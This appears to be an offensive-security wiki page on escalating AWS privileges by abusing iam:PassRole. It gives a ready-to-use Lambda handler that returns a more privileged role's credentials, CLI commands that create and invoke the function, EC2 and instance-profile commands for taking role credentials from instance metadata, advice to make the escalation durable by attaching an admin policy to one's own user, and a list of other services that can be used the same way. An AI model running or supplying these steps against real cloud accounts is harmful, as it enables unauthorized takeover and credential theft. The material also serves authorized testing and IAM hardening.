Skip to content

IAM PassRole Lambda Escalation

3 min read Created Aug 10, 2026 Last updated Aug 10, 2026

iam:PassRole is the hinge of a large class of AWS privilege escalations. It lets a principal hand an existing IAM role to a service. If you can pass a role more privileged than your own to a service you can also invoke, that service runs with the higher role and you inherit its permissions. Lambda and EC2 are the two most reliable vehicles.

Confirm the Prerequisites

You need three things: iam:PassRole on a target role, a service-creation permission that consumes a role, and a role more privileged than your current identity to pass. Enumerating your own effective permissions is covered in IAM Authenticated Enumeration.

List roles and read their attached policies to pick a target worth passing, for example one with AdministratorAccess or broad iam:*:

┌──(kali㉿kali)-[~]
└─$ aws iam list-roles --profile $PROFILE --query 'Roles[].RoleName'
┌──(kali㉿kali)-[~]
└─$ aws iam list-attached-role-policies --profile $PROFILE --role-name $ROLE_NAME

Success

The role you pass must trust the service you use. A role for the Lambda path needs lambda.amazonaws.com in its trust policy, the EC2 path needs ec2.amazonaws.com. Check AssumeRolePolicyDocument before spending time on a role the service will refuse.

Lambda Path

With iam:PassRole plus lambda:CreateFunction and lambda:InvokeFunction, create a function that runs under the target role and returns that role's credentials, or performs actions directly. Package a minimal handler:

import os

def handler(event, context):
    return {
        'AWS_ACCESS_KEY_ID': os.environ['AWS_ACCESS_KEY_ID'],
        'AWS_SECRET_ACCESS_KEY': os.environ['AWS_SECRET_ACCESS_KEY'],
        'AWS_SESSION_TOKEN': os.environ['AWS_SESSION_TOKEN'],
    }
┌──(kali㉿kali)-[~]
└─$ zip function.zip lambda_function.py
┌──(kali㉿kali)-[~]
└─$ aws lambda create-function --profile $PROFILE \
--function-name pe \
--runtime python3.12 \
--role arn:aws:iam::$ACCOUNT_ID:role/$ROLE_NAME \
--handler lambda_function.handler \
--zip-file fileb://function.zip
┌──(kali㉿kali)-[~]
└─$ aws lambda invoke --profile $PROFILE --function-name pe /dev/stdout
{
    "AWS_ACCESS_KEY_ID": "ASIA...",
    "AWS_SECRET_ACCESS_KEY": "...",
    "AWS_SESSION_TOKEN": "..."
}

Export those and you are operating as the passed role. If you also hold iam:* through it, attach an admin policy to your own user to make the escalation durable.

EC2 Path

With iam:PassRole and ec2:RunInstances, launch an instance with the target role as its instance profile, then read the role's credentials straight from that instance's metadata service. This needs an instance profile that wraps the role, most privileged roles used by EC2 already have one.

┌──(kali㉿kali)-[~]
└─$ aws ec2 run-instances --profile $PROFILE \
--image-id $AMI_ID \
--instance-type t3.micro \
--iam-instance-profile Name=$INSTANCE_PROFILE \
--key-name $KEY_NAME

Once it boots, if you have SSH or SSM to the box, pull credentials from IMDS as shown in EC2 Instance Metadata Service. No instance profile ready to use? Create one from a role you can pass:

┌──(kali㉿kali)-[~]
└─$ aws iam create-instance-profile --profile $PROFILE --instance-profile-name pe-profile
┌──(kali㉿kali)-[~]
└─$ aws iam add-role-to-instance-profile --profile $PROFILE --instance-profile-name pe-profile --role-name $ROLE_NAME

Other PassRole Sinks

The same pattern extends to any service that assumes a passed role and runs your code or exposes its credentials. Worth checking when Lambda and EC2 are locked down:

  • Glue development endpoints and jobs
  • CloudFormation with a passed service role
  • SageMaker notebook instances
  • Data Pipeline
  • CodeBuild projects

The prerequisite is always iam:PassRole plus a create or run permission on that service.